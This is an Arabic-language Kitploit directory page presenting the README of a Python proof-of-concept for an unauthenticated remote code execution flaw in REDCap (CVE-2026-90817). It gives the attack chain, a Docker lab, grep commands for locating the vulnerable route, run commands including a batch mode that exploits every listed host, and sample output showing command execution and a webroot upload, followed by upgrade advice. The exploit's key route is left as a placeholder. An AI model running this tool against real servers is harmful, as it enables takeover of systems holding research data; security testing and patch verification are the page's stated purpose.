Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-90817 — أداة PoC بلغة Python للثغرة CVE-2026-90817، وهي تنفيذ تعليمات عن بُعد (RCE) غير مُصادَق عليه في REDCap عبر توجيه تمرير الاستبيان وحقن مسار الملف، مع مختبر Docker وأهداف محمية بقائمة سماح. | Kitploit
أدوات/GitHubGitHub/exdev994/cve-2026-90817
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتطوير الحمولاتمختبرات وتدريب عملي
GitHubexdev994/cve-2026-90817

CVE-2026-90817

أداة PoC بلغة Python للثغرة CVE-2026-90817، وهي تنفيذ تعليمات عن بُعد (RCE) غير مُصادَق عليه في REDCap عبر توجيه تمرير الاستبيان وحقن مسار الملف، مع مختبر Docker وأهداف محمية بقائمة سماح.

عرض المستودع
منذ 7س 13دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-90817 — REDCap RCE بدون مصادقة (إثبات مفهوم) (للاستخدام المصرح به فقط)

للاستخدام المصرح به فقط. أنت مسؤول عن الحصول على التصريح القانوني لكل هدف. الاستخدام غير المصرح به ضد مثيلات REDCap الخاصة بأطراف ثالثة غير قانوني.

ملخص الثغرة

الحقلالقيمة
CVECVE-2026-90817
المنتجVanderbilt University REDCap
CVSS9.8 حرج
المصادقةبدون مصادقة (يتطلب hash استبيان عام صالح)
المتأثرREDCap 13.3.0 وما فوق
المُصلح16.0.49 LTS، 17.3.10 LTS، 17.4.4 Standard Release
CWECWE-73 (التحكم الخارجي في اسم الملف أو المسار)، CWE-94 (حقن الكود)

سلسلة الهجوم:

  1. الحصول على hash استبيان عام صالح من مثيل REDCap.
  2. التلاعب بطلبات HTTP للوصول إلى مسار controller غير مقصود عبر توجيه survey passthrough.
  3. تزويد معامل مسار ملف/stream مُصمم أثناء معالجة Data Import.
  4. تحقيق تنفيذ كود عن بُعد على خادم REDCap.

هيكل المشروع

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (هدف واحد، محمي بقائمة سماح)
├── docker-compose.yml       # حزمة مختبر MySQL + PHP-Apache
├── redcap-init/
│   ├── database.php         # إعدادات قاعدة بيانات REDCap للمختبر
│   └── php.ini              # إعدادات PHP للمختبر
├── redcap-src/              # <-- استخرج مصدر REDCap هنا (أنت توفره)
├── targets.txt              # الأهداف المصرح بها: مضيف واحد لكل سطر
├── payload.txt              # ملف نموذجي لوضع الرفع
├── requirements.txt         # تبعيات Python
└── poc_results.txt          # يُنشأ بعد تشغيل PoC

المتطلبات الأساسية

  • Docker و Docker Compose
  • Python 3.9+
  • ملف zip لمصدر REDCap (إصدار قابل للاستغلال، مثل 14.x أو 15.x) من Vanderbilt REDCap consortium

REDCap برنامج مرخص. يجب الحصول عليه عبر القنوات الرسمية لمختبرك الخاص.

إعداد المختبر

1. استخراج مصدر REDCap

root@kitploit:~
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

2. تشغيل بيئة المختبر

root@kitploit:~
docker compose up -d

انتظر حتى ينجح فحص صحة MySQL، ثم افتح:

root@kitploit:~
http://localhost:8080

أكمل معالج تثبيت REDCap باستخدام إعدادات قاعدة البيانات هذه (المُهيأة مسبقًا في redcap-init/database.php):

الإعدادالقيمة
Hostdb
Databaseredcap
Userredcap
Passwordredcap123

3. إنشاء استبيان عام

  1. سجّل الدخول إلى REDCap كمسؤول.
  2. أنشئ مشروعًا جديدًا.
  3. فعّل "Use surveys in this project".
  4. افتح رابط الاستبيان العام وانسخ الـ hash من الرابط (المعامل s=).

مثال على رابط الاستبيان:

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

Survey hash: ABC123XYZ

الهندسة العكسية (املأ العناصر النائبة)

لا يكشف التنبيه العام عن مسار controller الدقيق أو اسم المعامل. بعد إعداد مختبرك، قم بإجراء هندسة عكسية على redcap-src/ واملأ ثوابت TODO في poc_cve_2026_90817.py:

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

إرشادات الهندسة العكسية

ابحث عن توجيه survey passthrough:

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

ابحث عن معالجة مسار ملف/stream في Data Import:

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

اضبط STAGE1_SUCCESS_MARKER على سلسلة موجودة في استجابة المرحلة الأولى الناجحة (اختياري لكن موصى به).

تثبيت تبعيات Python

root@kitploit:~
pip install -r requirements.txt

تشغيل PoC

يرفض السكربت الأهداف التي ليست مضيفات مختبر (localhost، 127.0.0.1، ::1، *.local، *.test، *.localhost) ولا المدرجة في targets.txt.

Survey hash

CVE-2026-90817 بدون مصادقة — لا حاجة لتسجيل الدخول. الشرط المسبق الوحيد هو hash استبيان عام صالح (من رابط الاستبيان ?s=HASH).

يمكن للأداة الاكتشاف التلقائي لـ hash الاستبيان عبر كشط الصفحات العامة للهدف (بأفضل جهد). تتحقق من نقاط نهاية REDCap الشائعة (/، /redcap/، /index.php، /surveys/) بحثًا عن روابط /surveys/?s=HASH. يعمل هذا فقط إذا كان الهدف يكشف علنًا عن روابط الاستبيان (سوء تهيئة). بالنسبة لمثيلات REDCap المهيأة بشكل صحيح، زوّد الـ hash يدويًا عبر --hash.

  • وضع الهدف الواحد: --hash اختياري (اكتشاف تلقائي إذا حُذف)
  • وضع الدفعة: اكتشاف تلقائي لكل هدف؛ يتم تخطي الأهداف التي لا تكشف عن روابط الاستبيان

الأهداف المصرح بها (غير المختبر)

بالنسبة للأهداف غير المختبرية، أنشئ targets.txt بمضيف واحد لكل سطر (FQDN أو IP). أنت مسؤول عن التصريح القانوني لكل مضيف مدرج.

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

أمثلة

هدف مختبر مع hash صريح:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

هدف مختبر مع hash مكتشف تلقائيًا:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

وضع الدفعة (التكرار عبر جميع المضيفات في targets.txt)

أضف --batch لاستغلال كل مضيف مدرج في targets.txt تلقائيًا. تكتشف الأداة تلقائيًا hash الاستبيان لكل هدف عبر كشط الصفحات العامة. تطبع الأداة جميع الأهداف وتطلب التأكيد قبل البدء (استخدم --yes لتخطي المطالبة عند البرمجة النصية).

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

يُورث المنفذ من --target (افتراضي 8080). لاستخدام منفذ مختلف، اضبط --target http://placeholder:443/ قبل --batch.

تُضاف نتيجة كل هدف إلى ملف الإخراج. تُطبع ملخص في النهاية: N success, M failed, T total.

المعاملات

المعاملالافتراضيالوصف
--targethttp://localhost:8080عنوان URL الأساسي للهدف
--hash(اختياري)hash الاستبيان العام. إذا حُذف، يُكتشف تلقائيًا عبر كشط الصفحات العامة (بأفضل جهد).
--allowlisttargets.txtملف الأهداف، مضيف واحد لكل سطر
--batchمعطّلالتكرار عبر جميع المضيفات في ملف الأهداف واستغلال كل منها
--yesمعطّلتخطي مطالبة تأكيد الدفعة
--modebothid أو upload أو both
--outpoc_results.txtملف سجل النتائج
--timeout30مهلة HTTP (بالثواني)
--upload-localpayload.txtالملف المحلي المراد رفعه
--upload-remoteuploaded_payload.txtاسم الملف البعيد تحت webroot
--skip-placeholder-checkمعطّلتشغيل تدفق HTTP تجريبي بدون ثوابت TODO المملوءة

ملاحظة: يعمل الاكتشاف التلقائي فقط على الأهداف التي تكشف علنًا عن روابط الاستبيان. بالنسبة لمعظم مثيلات REDCap، زوّد --hash يدويًا.

الإخراج المتوقع

عند النجاح، يعرض stdout:

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

تُضاف النتائج إلى poc_results.txt:

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

التخفيف

قم بالترقية إلى REDCap 16.0.49 LTS، أو 17.3.10 LTS، أو 17.4.4 Standard Release (حسب الاقتضاء).

تحصين إضافي:

  • تقييد تعرض الاستبيان العام حيث لا يكون مطلوبًا.
  • مراقبة طلبات HTTP التي تستهدف مسارات الاستبيان ونقاط نهاية استيراد البيانات.
  • مراجعة التحقق من جانب الخادم لمعاملات مسار الملف/stream في معالجات الاستيراد.

المراجع

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • Finder: Ryan Wincey (@rwincey, Securifera)
تنزيل الأداة